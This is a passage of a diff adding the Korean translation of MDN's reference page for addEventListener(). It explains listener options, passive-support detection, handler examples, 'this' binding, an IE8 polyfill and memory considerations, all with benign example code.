+ <dd>지정된 타입의 이벤트가 발생했을 때, 알림({{domxref("Event")}} 인터페이스를 구현하는 객체)을 받는 객체입니다. {{domxref("EventListener")}} 인터페이스 또는 JavaScript <a href="/en-US/docs/JavaScript/Guide/Functions">function</a>를 구현하는 객체여야만 합니다. 콜백 자체에 대한 자세한 내용은 {{anch("The event listener callback")}} 를 참조하세요.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>이벤트 리스너에 대한 특성을 지정하는 옵션 객체입니다. 사용 가능한 옵션은 다음과 같습니다 :
+ <ul>
+  <li><code>capture</code>: DOM 트리의 하단에 있는 <code>EventTarget</code> 으로 전송하기 전에, 등록된 <code>listener</code> 로 이 타입의 이벤트의 전송여부를 나타내는 {{jsxref("Boolean")}} 입니다.</li>
+  <li><code>once</code>: 리스너를 추가한 후 한 번만 호출되어야 함을 나타내는 {{jsxref("Boolean")}}입니다. <code>true</code>이면 호출할 때 <code>listener</code> 가 자동으로 삭제됩니다.</li>
+  <li><code>passive</code>: <code>true</code>일 경우, <code>listener</code>에서 지정한 함수가 {{domxref("Event.preventDefault", "preventDefault()")}}를 호출하지 않음을 나타내는 {{jsxref("Boolean")}}입니다. passive listener 가 <code>preventDefault()</code>를 호출하면 user agent는 콘솔 경고를 생성하는 것 외의 작업은 수행하지 않습니다. 자세한 내용은 {{anch("Improving scrolling performance with passive listeners")}} 를 참조하세요.</li>
+  <li>{{non-standard_inline}} <code>mozSystemGroup</code>: listener를 시스템 그룹에 추가해야함을 나타내는 {{jsxref("Boolean")}} 입니다. 오직 XBL 혹은 파이어폭스 브라우저의 {{glossary("chrome")}}에서 실행되는 코드에서만 사용할 수 있습니다.</li>
+ </ul>
+ </dd>
+ <dt><code>useCapture</code> {{optional_inline}}</dt>
+ <dd>DOM 트리의 하단에 있는 <code>EventTarget</code> 으로 전송하기 전에, 등록된 <code>listener</code> 로 이 타입의 이벤트의 전송여부를 나타내는 {{jsxref("Boolean")}} 입니다. 트리에서 위쪽으로 버블링되는 이벤트는 캡처를 사용하도록, 지정된 listener를 트리거하지 않습니다. 이벤트 버블링과 캡쳐는 두 요소(엘리먼트)가 해당 이벤트에 대한 핸들(함수)를 등록한 경우, 다른 요소 내에 중첩된 요소에서 발생하는 이벤트를 전파하는 두 가지 방법 입니다. 이벤트 전파 모드는 요소가 이벤트를 수신하는 순서를 판별합니다. 자세한 설명은 <a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-flow">DOM Level 3 Events</a> 과 <a href="http://www.quirksmode.org/js/events_order.html#link4">JavaScript Event order</a> 를 참조하세요. 값을 지정하지 않으면, <code>useCapture</code> 의 기본값은 <code>false</code> 입니다.</dd>
+ <dd>
+ <div class="note"><strong>참고:</strong> 이벤트 타겟에 연결된 이벤트 리스너의 경우, 이벤트는 캡쳐링과 버블링 단계가 아니라 타겟 단계에 있습니다. 타겟 단계의 이벤트는 <code>useCapture</code> 매개변수(파라미터)와 상관없이, 그들이 등록된 순서대로 요소의 모든 리스너를 트리거합니다.</div>
+
+ <div class="note"><strong>참고:</strong> <code>useCapture</code> 가 항상 선택사항인 것은 아닙니다. 가장 광범위한 브라우저 호환성을 위해 포함시키는 것이 좋습니다.</div>
+ </dd>
+ <dt><code>wantsUntrusted</code> {{Non-standard_inline}}</dt>
+ <dd>파이어폭스(겍코) 명세의 매개변수 입니다. <code>true</code>의 경우, 리스너는 웹 컨텐츠에 의해 dispatch되는 합성 이벤트를 수신합니다. (기본값은 {{glossary("chrome")}} 브라우저의 경우 <code>false</code> , 보통의 웹 페이지에서는 <code>true</code>입니다.) 이 매개 변수는 브라우저 자체 뿐만 아니라, 에드온에게도 유용합니다.</dd>
+</dl>
+
+<h2 id="Usage_notes">Usage notes</h2>
+
+<h3 id="이벤트_리스너_콜백">이벤트 리스너 콜백</h3>
+
+<p>이벤트 리스너는 콜백 함수로 지정할 수 있습니다. 또는 {{domxref("EventListener.handleEvent", "handleEvent()")}} 메서드가 콜백 함수 역할을 하는 {{domxref("EventListener")}}를 구현하는 객체로 지정할 수 있습니다.</p>
+
+<p>콜백 함수 자체는 <code>handleEvent()</code> 메서드와 동일한 매개 변수와 반환값을 가집니다. 즉, 콜백은 단일 매개 변수를 허용합니다: 발생한 이벤트를 설명하는 {{domxref("Event")}}에 기반한 객체이며, 아무것도 반환하지 않습니다.</p>
+
+<p>예를들어 {{event("fullscreenchange")}} 와 {{event("fullscreenerror")}}를 처리하는데 사용할 수 있는 이벤트 핸들러 콜백은 다음과 같습니다:</p>
+
+<pre class="brush: js">function eventHandler(event) {
+  if (event.type == 'fullscreenchange') {
+    /* handle a full screen toggle */
+  } else /* fullscreenerror */ {
+    /* handle a full screen toggle error */
+  }
+}</pre>
+
+<h3 id="옵션_지원을_안전하게_감지">옵션 지원을 안전하게 감지</h3>
+
+<p>이전 버전의 DOM 명세에선, <code>addEventListener()</code>의 세 번째 매개 변수는 캡쳐의 사용여부를 나타내는 Boolean값 이었습니다. 시간이 지남에 따라 더 많은 옵션이 필요하다는 것이 분명 해졌습니다. 함수에 매개 변수를 추가하는 대신 (옵션값을 처리할 때 엄청나게 복잡한 작업), 세 번째 매개 변수는 다양한 속성을 포함 할 수 있는 객체로 변경되었습니다. 이 객체는 이벤트 리스너를 제거하는 프로세스를 구성하는 옵션값을 정의할 수 있습니다.</p>
+
+<p>지난 버전의 브라우저(뿐만 아니라 너무 오래된 브라우저)에서는 여전히 세 번째 매개 변수가 Boolean 이라고 가정하고 시나리오를 지능적으로 처리할 코드를 작성해야 합니다. 관심있는 각 옵션에 대해 기능 감지를 사용하여 이 작업을 수행할 수 있습니다.</p>
+
+<p>예를들어서, <code>passive</code> 옵션을 확인하려면 다음과 같이 하세요 :</p>
+
+<pre><code>var passiveSupported = false;
+
+try {
+  var options = {
+    get passive() { // This function will be called when the browser
+                    //     attempts to access the passive property.
+      passiveSupported = true;
+    }
+  };
+
+  window.addEventListener("test", options, options);
+  window.removeEventListener("test", options, options);
+} catch(err) {
+  passiveSupported = false;
+}</code></pre>
+
+<p>이렇게 하면 <code>passive</code> 속성(프로퍼티)에 대한 getter함수를 사용하여 <code>options</code> 객체가 만들어집니다; get을 호출 할 경우 gtter는 플래그 <code>passiveSupported</code>를 <code>true</code>로 설정합니다. 즉, 브라우저가 <code>options</code> 객체의 <code>passive</code> 속성 값을 검사하면 <code>passiveSupported</code>가 <code>true</code>로 설정됩니다; 그렇지 않으면 <code>false</code>가 유지됩니다. 그리고 <code>addEventListener()</code>를 호출하여 가짜 이벤트 핸들러를 설정합니다. 해당 옵션을 지정하여 브라우저가 객체를 세 번째 매개 변수로 인식하면 옵션을 확인합니다. 그런 다음 <code>removeEventListener()</code> 를 호출하여 스스로 정리합니다. (<code>handleEvent()</code>는 호출되지 않은 이벤트 리스너에서는 무시됩니다.) </p>
+
+<p>이 방법으로 지원되는 옵션이 있는지 확인할 수 있습니다. 위와 비슷한 코드를 사용하여 해당 옵션에 대한 getter를 추가하기 만하면됩니다.</p>
+
+<p>그런 다음 문제의 옵션을 사용하는 실제 이벤트 리스너를 만들려면 다음과 같이 쓸 수 있습니다:</p>
+
+<pre class="brush: js">someElement.addEventListener("mouseup", handleMouseUp, passiveSupported
+                               ? { passive: true } : false);</pre>
+
+<p>여기에서는 {{event("mouseup")}} 이벤트에 대한 리스너를 <code>someElement</code>요소에 추가합니다.  새 번째 매개변수의 경우 <code>passiveSupported</code>가 <code>true</code>면, <code>options</code> 객체를 <code>passive</code> : <code>true</code> 로 설정합니다; 그렇지 않으면, 우리는 Boolean을 전달해야 함올 알고있습니다. <code>useCapture</code> 매개변수의 값으로 <code>false</code> 를 전달합니다.</p>
+
+<p>원하는 경우 <a href="https://modernizr.com/docs">Modernizr</a> 혹은 <a href="https://github.com/rafrex/detect-it">Detect It</a> 과 같은 서드파티 라이브러리를 사용하여 이러한 테스트를 수행할 수 있습니다.</p>
+
+<p><a href="https://wicg.github.io/admin/charter.html">Web Incubator Community Group</a>의 <code><a href="https://github.com/WICG/EventListenerOptions/blob/gh-pages/explainer.md#feature-detection">EventListenerOptions</a></code>에 대한 기사에서 더 많은 것을 배울 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_리스너_추가">간단한 리스너 추가</h3>
+
+<p>이 예제는 <code>addEventListener()</code> 를 사용하여 요소에 대한 마우스 클릭을 감지하는 방법을 보여줍니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;table id="outside"&gt;
+    &lt;tr&gt;&lt;td id="t1"&gt;one&lt;/td&gt;&lt;/tr&gt;
+    &lt;tr&gt;&lt;td id="t2"&gt;two&lt;/td&gt;&lt;/tr&gt;
+&lt;/table&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">// Function to change the content of t2
+function modifyText() {
+  var t2 = document.getElementById("t2");
+  if (t2.firstChild.nodeValue == "three") {
+    t2.firstChild.nodeValue = "two";
+  } else {
+    t2.firstChild.nodeValue = "three";
+  }
+}
+
+// add event listener to table
+var el = document.getElementById("outside");
+el.addEventListener("click", modifyText, false);
+</pre>
+
+<p>이 코드에서, <code>modifyText()</code> 는 <code>addEventListener()</code>를 사용하여 등록된 <code>click</code> 이벤트에 대한 리스너입니다. 테이블의 아무곳이나 클릭하더라도, 핸들러에서 버블링되고 <code>modifyText()</code> 가 실행됩니다.</p>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('간단한_리스너_추가')}}</p>
+
+<h3 id="익명_함수와_이벤트_리스너">익명 함수와 이벤트 리스너</h3>
+
+<p>여기서는 익명 함수를 사용하여 매개 변수를 이벤트 리스너에 전달하는 방법을 살펴보겠습니다.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;table id="outside"&gt;
+    &lt;tr&gt;&lt;td id="t1"&gt;one&lt;/td&gt;&lt;/tr&gt;
+    &lt;tr&gt;&lt;td id="t2"&gt;two&lt;/td&gt;&lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="JavaScript_2">JavaScript</h4>
+
+<pre class="brush: js">// Function to change the content of t2
+function modifyText(new_text) {
+  var t2 = document.getElementById("t2");
+  t2.firstChild.nodeValue = new_text;
+}
+
+// Function to add event listener to table
+var el = document.getElementById("outside");
+el.addEventListener("click", function(){modifyText("four")}, false);
+</pre>
+
+<p>리스너는 코드를 캡슐화 하는 익명 함수입니다. 이 익명의 함수는 실제로 이벤트에 응답하는 책임이 있는 <code>modifyText()</code> 함수에 매개변수를 전달 할 수 있습니다.</p>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample('익명_함수와_이벤트_리스너')}}</p>
+
+<h3 id="화살표_함수와_이벤트_리스너">화살표 함수와 이벤트 리스너</h3>
+
+<p>이 예제는 화살표 함수를 사용하여 구현된 간단한 이벤트 리스너를 보여줍니다. </p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;table id="outside"&gt;
+    &lt;tr&gt;&lt;td id="t1"&gt;one&lt;/td&gt;&lt;/tr&gt;
+    &lt;tr&gt;&lt;td id="t2"&gt;two&lt;/td&gt;&lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="JavaScript_3">JavaScript</h4>
+
+<pre class="brush: js">// Function to change the content of t2
+function modifyText(new_text) {
+  var t2 = document.getElementById("t2");
+  t2.firstChild.nodeValue = new_text;
+}
+
+// Add event listener to table with an arrow function
+var el = document.getElementById("outside");
+el.addEventListener("click", () =&gt; { modifyText("four"); }, false);
+</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample('화살표_함수와_이벤트_리스너')}}</p>
+
+<p>화살표 함수와 익명 함수는 유사하지만 서로 다른 <code>this</code>바인딩을 가집니다. 익명(모든 전통적인 자바스크립트 함수)는 그들 자신의 <code>this</code> 바인딩을 만들지만, 화살표 함수는 포함하고 있는 함수의 <code>this</code>바인딩을 상속합니다.</p>
+
+<p>즉, 화살표 함수를 사용할 때 포함하고 있는 함수에서 사용중인 변수 및 상수를 이벤트 핸들러에서 사용할 수 있습니다.</p>
+
+<h3 id="옵션의_사용_예제">옵션의 사용 예제</h3>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html">&lt;div class="outer"&gt;
+    outer, once &amp; none-once
+    &lt;div class="middle" target="_blank"&gt;
+        middle, capture &amp; none-capture
+        &lt;a class="inner1" href="https://www.mozilla.org" target="_blank"&gt;
+            inner1, passive &amp; preventDefault(which is not allowed)
+        &lt;/a&gt;
+        &lt;a class="inner2" href="https://developer.mozilla.org/" target="_blank"&gt;
+            inner2, none-passive &amp; preventDefault(not open new page)
+        &lt;/a&gt;
+    &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">    .outer, .middle, .inner1, .inner2 {
+        display:block;
+        width:520px;
+        padding:15px;
+        margin:15px;
+        text-decoration:none;
+    }
+    .outer{
+        border:1px solid red;
+        color:red;
+    }
+    .middle{
+        border:1px solid green;
+        color:green;
+        width:460px;
+    }
+    .inner1, .inner2{
+        border:1px solid purple;
+        color:purple;
+        width:400px;
+    }
+</pre>
+
+<h4 id="JavaScript_4">JavaScript</h4>
+
+<pre class="brush: js">    let outer  = document.getElementsByClassName('outer') [0];
+    let middle = document.getElementsByClassName('middle')[0];
+    let inner1 = document.getElementsByClassName('inner1')[0];
+    let inner2 = document.getElementsByClassName('inner2')[0];
+
+    let capture = {
+        capture : true
+    };
+    let noneCapture = {
+        capture : false
+    };
+    let once = {
+        once : true
+    };
+    let noneOnce = {
+        once : false
+    };
+    let passive = {
+        passive : true
+    };
+    let nonePassive = {
+        passive : false
+    };
+
+
+    outer.addEventListener('click', onceHandler, once);
+    outer.addEventListener('click', noneOnceHandler, noneOnce);
+    middle.addEventListener('click', captureHandler, capture);
+    middle.addEventListener('click', noneCaptureHandler, noneCapture);
+    inner1.addEventListener('click', passiveHandler, passive);
+    inner2.addEventListener('click', nonePassiveHandler, nonePassive);
+
+    function onceHandler(event)
+    {
+        alert('outer, once');
+    }
+    function noneOnceHandler(event)
+    {
+        alert('outer, none-once, default');
+    }
+    function captureHandler(event)
+    {
+        //event.stopImmediatePropagation();
+        alert('middle, capture');
+    }
+    function noneCaptureHandler(event)
+    {
+        alert('middle, none-capture, default');
+    }
+    function passiveHandler(event)
+    {
+        // Unable to preventDefault inside passive event listener invocation.
+        event.preventDefault();
+        alert('inner1, passive, open new page');
+    }
+    function nonePassiveHandler(event)
+    {
+        event.preventDefault();
+        //event.stopPropagation();
+        alert('inner2, none-passive, default, not open new page');
+    }
+</pre>
+
+<h4 id="Result_2">Result</h4>
+
+<p>옵션이 어떻게 작동하는지 보려면 각각 outer, middle, inner 컨테이너를 클릭해 보세요.</p>
+
+<p>{{ EmbedLiveSample('옵션의_사용_예제', 600, 310, '', 'Web/API/EventTarget/addEventListener') }}</p>
+
+<p><code>options</code> 객체에서 특정 값을 사용하기 전에, 모든 브라우저의 모든 버전이 지원하는 것은 아니므로, 사용자의 브라우저가 해당 기능을 지원하는지 확인하는 것이 좋습니다. 자세한 내용은 {{anch("Safely detecting option support")}} 을 참조하세요.</p>
+
+<h2 id="Other_notes">Other notes</h2>
+
+<h3 id="왜_addEventListener를_사용하나요">왜 <code>addEventListener</code>를 사용하나요?</h3>
+
+<p><code>addEventListener()</code> 는 W3C 에서 지정한 DOM에 이벤트 리스너를 등록하는 방법입니다. 장점은 다음과 같습니다:</p>
+
+<ul>
+ <li>이벤트에 대해 하나 이상의 핸들러를 추가할 수 있습니다. 이는 {{Glossary("AJAX")}} 라이브러리, 자바스크립트 모듈, 또는 다른 라이브러리/확장 기능과 잘 작동해야 하는 다른 종류의 코드에 특히 유용합니다. </li>
+ <li>리스너가 활성화 되면 (캡쳐링과 버블링) 단계의 세밀한 제어를 제공합니다.</li>
+ <li>HTML 요소뿐만 아니라, 모든 DOM 요소에서 작동합니다.</li>
+</ul>
+
+<p>대안으로, <a href="#Older_way_to_register_event_listeners">이벤트 리스너를 등록하는 오래된 방법</a>은 아래에 설명되어 있습니다.</p>
+
+<h3 id="이벤트_전달중에_리스너_추가">이벤트 전달중에 리스너 추가</h3>
+
+<p>{{domxref("EventListener")}} 가 이벤트 처리중에 {{domxref("EventTarget")}}에 추가되었다면, 그 이벤트는 리스너를 트리거하지 않습니다. 그러나 동일한 리스너는 버블링 단계와 같은 이벤트 흐름의 나중 단계에서 트리거 될 수 있습니다. </p>
+
+<h3 id="다수의_동일한_이벤트_리스너">다수의 동일한 이벤트 리스너</h3>
+
+<p>만약 동일한 여러개의 <code>EventListener</code> 가 동일한 매개변수(parameter)로 동일한 <code>EventTarget</code> 에 등록되었다면, 중복된 항목(인스턴스)들은 버려집니다. <code>EventListener</code>는 두번 호출되지 않으며 {{domxref("EventTarget.removeEventListener", "removeEventListener()")}} 메서드를 사용해 직접 제거할 필요가 없습니다. 그러나 익명 함수를 핸들러로 사용할 때, 루프를 도는 경우가 있습니다. 이 경우 단순히 반복적으로 호출하는 동일한 소스 코드를 사용하여 이벤트를 등록하더라도, 익명 함수는 동일하지 않고 이 때문에 리스너 또한 동일하지 않습니다. 이와 같은 경우 동일한 함수를 반복적으로 정의하는 것이 더 문제가 될 수 있습니다. (아래의 <a href="https://developer.mozilla.org/ko/docs/Web/API/EventTarget/addEventListener$edit#Memory_issues">메모리 문제</a>를 참조하세요.)</p>
+
+<h3 id="핸들러_내부의_this_값">핸들러 내부의 <code>this</code> 값</h3>
+
+<p>유사한 요소 집합에 대한 일반적인 핸들러를 사용할 때와 같이, 이벤트 핸들러가 동작한 엘리먼트를 참조하는것이 좋습니다.</p>
+
+<p><code>addEventListener()</code> 를 사용하여 핸들러 함수를 요소에 연결하면, 핸들러 내부의 <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></code> 값은 요소에 대한 참조입니다. 이것은 핸들러에 전달 된 이벤트 인수(아규먼트)의 <code>currentTarget</code> 속성(프로퍼티)값과 같습니다.</p>
+
+<pre class="brush: js">my_element.addEventListener('click', function (e) {
+  console.log(this.className)           // logs the className of my_element
+  console.log(e.currentTarget === this) // logs `true`
+})
+</pre>
+
+<p>다시 말해, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions#No_separate_this">화살표 함수에는 <code>this</code> 컨텍스트가 없습니다</a>.</p>
+
+<pre class="brush: js">my_element.addEventListener('click', (e) =&gt; {
+  console.log(this.className)           // WARNING: `this` is not `my_element`
+  console.log(e.currentTarget === this) // logs `false`
+})</pre>
+
+<p>HTML 소스의 요소(element)에 이벤트 핸들러(예: onclick)가 지정된 경우, 속성 값(attribute value)의 자바스크립트 코드는 효과적으로 <code>addEventListener()</code> 에 따라  <code>this</code>값을 바인드하는 핸들러 함수로 래핑됩니다. 코드 내에서 <code>this</code>가 발생하면 요소에 대한 참조를 나타냅니다.</p>
+
+<pre class="brush: html">&lt;table id="my_table" onclick="console.log(this.id);"&gt;&lt;!-- `this` refers to the table; logs 'my_table' --&gt;
+  ...
+&lt;/table&gt;
+</pre>
+
+<p>속성 값(attribute value)의 코드에 의해 호출 된 함수 내부의 <code>this</code> 는 <a href="/ko/docs/Web/JavaScript/Reference/Operators/this">표준 규칙들</a>에 따라 동작합니다. 다음은 그 예입니다.</p>
+
+<pre class="brush: html">&lt;script&gt;
+  function logID() { console.log(this.id); }
+&lt;/script&gt;
+&lt;table id="my_table" onclick="logID();"&gt;&lt;!-- when called, `this` will refer to the global object --&gt;
+  ...
+&lt;/table&gt;
+
+</pre>
+
+<p><code>logID()</code> 내의 <code>this</code> 값은 {{domxref("Window")}} 전역 객체에 대한 참조입니다. (혹은 <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a> 의 경우 <code>undefined</code>입니다.)</p>
+
+<h4 id="bind()를_사용하여_this지정하기"><code>bind()</code>를 사용하여 <code>this</code>지정하기</h4>
+
+<p><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function/bind">Function.prototype.bind()</a></code> 메서드를 사용하면 지정한 함수에 대한 모든 호출에 대해 <code>this</code> 값으로 사용해야 하는 값을 지정할 수 있습니다. 이를 이용하여 함수가 호출 된 컨텍스트에 따라 <code>this</code> 가 무엇인지 명확하지 않은 문제를 쉽게 우회할 수 있습니다. 그러나 나중에 제거할 수 있도록, 주위에 리스너에 대한 참조를 유지해야 합니다.</p>
+
+<p>다음은 <code>bind()</code> 를 사용한, 사용하지 않은 예제입니다 :</p>
+
+<pre class="brush: js">var Something = function(element) {
+  // |this| is a newly created object
+  this.name = 'Something Good';
+  this.onclick1 = function(event) {
+    console.log(this.name); // undefined, as |this| is the element
+  };
+  this.onclick2 = function(event) {
+    console.log(this.name); // 'Something Good', as |this| is bound to newly created object
+  };
+  element.addEventListener('click', this.onclick1, false);
+  element.addEventListener('click', this.onclick2.bind(this), false); // Trick
+}
+var s = new Something(document.body);
+</pre>
+
+<p>또 다른 해결책은 <code>handleEvent()</code>라는 특수 함수를 사용하여 어떤 이벤트를 캐치 하는것입니다 :</p>
+
+<pre class="brush: js">var Something = function(element) {
+  // |this| is a newly created object
+  this.name = 'Something Good';
+  this.handleEvent = function(event) {
+    console.log(this.name); // 'Something Good', as this is bound to newly created object
+    switch(event.type) {
+      case 'click':
+        // some code here...
+        break;
+      case 'dblclick':
+        // some code here...
+        break;
+    }
+  };
+
+  // Note that the listeners in this case are |this|, not this.handleEvent
+  element.addEventListener('click', this, false);
+  element.addEventListener('dblclick', this, false);
+
+  // You can properly remove the listeners
+  element.removeEventListener('click', this, false);
+  element.removeEventListener('dblclick', this, false);
+}
+var s = new Something(document.body);
+</pre>
+
+<p><em><code>this</code>에 대한 참조를 처리하는 또 다른 방법은, </em><code>EventListener</code> 에 함수를 전달하는 것입니다. 이 함수는 접근을 필요로 하는 필드가 들어있는, 객체의 메서드를 호출하는 함수입니다:</p>
+
+<pre class="brush: js">class SomeClass {
+
+  constructor() {
+    this.name = 'Something Good';
+  }
+
+  register() {
+    var that = this;
+    window.addEventListener('keydown', function(e) {return that.someMethod(e);});
+  }
+
+  someMethod(e) {
+    console.log(this.name);
+    switch(e.keyCode) {
+      case 5:
+        // some code here...
+        break;
+      case 6:
+        // some code here...
+        break;
+    }
+  }
+
+}
+
+var myObject = new SomeClass();
+myObject.register();</pre>
+
+<h3 id="오래된_인터넷_익스플로러와_attachEvent">오래된 인터넷 익스플로러와 attachEvent</h3>
+
+<p>인터넷 익스플로러 9 이전 버전에서는, 표준 <code>addEventListener()</code> 가 아닌 {{domxref("EventTarget.attachEvent", "attachEvent()")}}를 사용해야 합니다. IE의 경우 위의 예제를 다음과 같이 수정합니다:</p>
+
+<pre class="brush: js">if (el.addEventListener) {
+  el.addEventListener('click', modifyText, false);
+} else if (el.attachEvent)  {
+  el.attachEvent('onclick', modifyText);
+}
+</pre>
+
+<p><code>attachEvent()</code>의 단점은 다음과 같습니다: <code>this</code>의 값이 이벤트가 바인드되어 있는 요소 대신에, <code>window</code>객체에 대한 참조가 됩니다.</p>
+
+<p><code>attachEvent()</code> 메서드는 <code>onresize</code> 이벤트와 쌍을 이루어 웹 페이지의 특정 요소의 크기가 리사이징 되는 시점을 감지할 수 있습니다. <code>mselementresize</code> 라는 독점적인 이벤트는, 이벤트 핸들러를 등록하는 <code>addEventListener</code> 메서드와 함께 사용할 때 <code>onresize</code>와 유사한 기능을 제공하여, 특정 HTML 요소의 크기를 리사이징 할 때 실행됩니다.</p>
+
+<h3 id="호환성">호환성</h3>
+
+<p>스크립트 시작 부분에 다음 코드를 사용하여, 인터넷 익스플로러 8 에서 지원하지 않는 <code>addEventListener()</code>, <code>removeEventListener()</code>, {{domxref("Event.preventDefault()")}}, {{domxref("Event.stopPropagation()")}} 을 해결할 수 있습니다. 이 코드는 <code>handleEvent()</code>와 {{event("DOMContentLoaded")}} 이벤트에 대한 사용을 지원합니다.</p>
+
+<div class="note">
+<p><strong>참고: </strong>IE8 에서는 <code>useCapture</code>를 지원할 수 있는 다른 방법이 없습니다. 다음의 코드는 IE8 지원만 추가합니다. 이 IE8 폴리필은 표준 모드에서만 작동합니다: doctype 선언이 필요합니다.</p>
+</div>
+
+<pre class="brush: js">(function() {
+  if (!Event.prototype.preventDefault) {
+    Event.prototype.preventDefault=function() {
+      this.returnValue=false;
+    };
+  }
+  if (!Event.prototype.stopPropagation) {
+    Event.prototype.stopPropagation=function() {
+      this.cancelBubble=true;
+    };
+  }
+  if (!Element.prototype.addEventListener) {
+    var eventListeners=[];
+
+    var addEventListener=function(type,listener /*, useCapture (will be ignored) */) {
+      var self=this;
+      var wrapper=function(e) {
+        e.target=e.srcElement;
+        e.currentTarget=self;
+        if (typeof listener.handleEvent != 'undefined') {
+          listener.handleEvent(e);
+        } else {
+          listener.call(self,e);
+        }
+      };
+      if (type=="DOMContentLoaded") {
+        var wrapper2=function(e) {
+          if (document.readyState=="complete") {
+            wrapper(e);
+          }
+        };
+        document.attachEvent("onreadystatechange",wrapper2);
+        eventListeners.push({object:this,type:type,listener:listener,wrapper:wrapper2});
+
+        if (document.readyState=="complete") {
+          var e=new Event();
+          e.srcElement=window;
+          wrapper2(e);
+        }
+      } else {
+        this.attachEvent("on"+type,wrapper);
+        eventListeners.push({object:this,type:type,listener:listener,wrapper:wrapper});
+      }
+    };
+    var removeEventListener=function(type,listener /*, useCapture (will be ignored) */) {
+      var counter=0;
+      while (counter&lt;eventListeners.length) {
+        var eventListener=eventListeners[counter];
+        if (eventListener.object==this &amp;&amp; eventListener.type==type &amp;&amp; eventListener.listener==listener) {
+          if (type=="DOMContentLoaded") {
+            this.detachEvent("onreadystatechange",eventListener.wrapper);
+          } else {
+            this.detachEvent("on"+type,eventListener.wrapper);
+          }
+          eventListeners.splice(counter, 1);
+          break;
+        }
+        ++counter;
+      }
+    };
+    Element.prototype.addEventListener=addEventListener;
+    Element.prototype.removeEventListener=removeEventListener;
+    if (HTMLDocument) {
+      HTMLDocument.prototype.addEventListener=addEventListener;
+      HTMLDocument.prototype.removeEventListener=removeEventListener;
+    }
+    if (Window) {
+      Window.prototype.addEventListener=addEventListener;
+      Window.prototype.removeEventListener=removeEventListener;
+    }
+  }
+})();</pre>
+
+<h3 id="이벤트_리스너를_등록하는_고전적인_방법">이벤트 리스너를 등록하는 고전적인 방법</h3>
+
+<p><code>addEventListener()</code>는 DOM 2 <a href="http://www.w3.org/TR/DOM-Level-2-Events">Events</a> 명세와 함께 도입되었습니다. 그 전에는 다음과 같이 이벤트 리스너를 등록했습니다:</p>
+
+<pre class="brush: js">// Passing a function reference ? do not add '()' after it, which would call the function!
+el.onclick = modifyText;
+
+// Using a function expression
+element.onclick = function() {
+  // ... function logic ...
+};
+</pre>
+
+<p>This 이 메서드는 요소의 기존 <code>click</code> 이벤트 리스너가 있을 경우에, 그것을 대체합니다. <code>blur</code> (<code>onblur</code>) 및 <code>keypress</code> (<code>onkeypress</code>) 와 같은 다른 이벤트 및 이벤트 핸들러도 비슷하게 작동합니다.</p>
+
+<p>이것은 본질적으로 {{glossary("DOM", "DOM 0")}}의 일부였기 때문에, 이벤트 리스너를 추가하는데 매우 광범위하게 지원되며 특별한 크로스 브라우징 코드가 필요하지 않습니다. 이것은 일반적으로 <code>addEventListener()</code>의 추가 기능이 필요하지 않으면, 이벤트 리스너를 동적으로 등록하는데 사용합니다.</p>
+
+<h3 id="메모리_이슈">메모리 이슈</h3>
+
+<pre class="brush: js">var i;
+var els = document.getElementsByTagName('*');
+
+// Case 1
+for(i=0 ; i&lt;els.length ; i++){
+  els[i].addEventListener("click", function(e){/*do something*/}, false);
+}
+
+// Case 2
+function processEvent(e){
+  /*do something*/
+}
+
+for(i=0 ; i&lt;els.length ; i++){
+  els[i].addEventListener("click", processEvent, false);
+}
+</pre>
+
+<p>위의 첫 번째 경우, 루프의 각 반복마다 새로운 익명 핸들러 함수가 생성됩니다. 두 번째 경우에는 이전에 선언한 동일한 함수를 이벤트 핸들러로 사용하므로, 메모리 소비가 줄어듭니다. 또한 첫 번째 경우에는 removeEventListener()를 호출할 수 없습니다. 익명 함수에 대한 참조가 유지되지 않기 때문입니다.(루프가 생성할 수 있는 여러개의 익명 함수 중 하나에 보관되지 않습니다) 두 번째 경우에는 <code>processEvent</code>가 함수 참조이기 때문에, <code>myElement.removeEventListener("click", processEvent, false)</code>를 수행할 수 있습니다.</p>
+
+<p>사실, 메모리 소비와 관련하여, 함수 참조를 유지하는 것은 진짜 문제가 아닙니다. 오히려 정적 함수 참조를 유지하는 것이 부족합니다. 아래의 두 경우(3,4번째 케이스) 모두 함수 참조가 유지되지만, 각 반복에서 재정의 되므로 정적이 아닙니다. 세 번째 경우에는 익명 함수에 대한 참조가, 반복될 때 마다 다시 할당됩니다. 네 번째 경우에는 전체 함수 정의가 변경되지 않지만, 새로운 것처럼(컴파일러에 의해 [[promoted]]되지 않는 한) 반복적으로 정의되고 있고 그래서 정적이지 않습니다. 따라서 간단하게 [[여러개의 동일한 이벤트 리스너]]인 것처럼 보이지만, 두 경우 모두 각 반복은 핸들러 함수에 대한 고유한 참조로 새로운 리스너를 생성합니다. 그러나 함수 정의 자체는 변경되지 않으므로, 모든 중복 리스너에 대해 같은 함수가 여전히 호출될 수 있습니다.(특히 코드가 최적화되는 경우)</p>
+
+<p>또한 두 경우 모두 함수 참조가 유지되었지만, 각 가산에 대해 반복적으로 재정의 되었습니다. 위에서 사용했던 remove 문(statement)으로는 리스너를 제거할 수 있지만, 마지막으로 추가한 리스너만 제거됩니다.</p>
+
+<pre class="brush: js">// For illustration only: Note "MISTAKE" of [j] for [i] thus causing desired events to all attach to SAME element
+
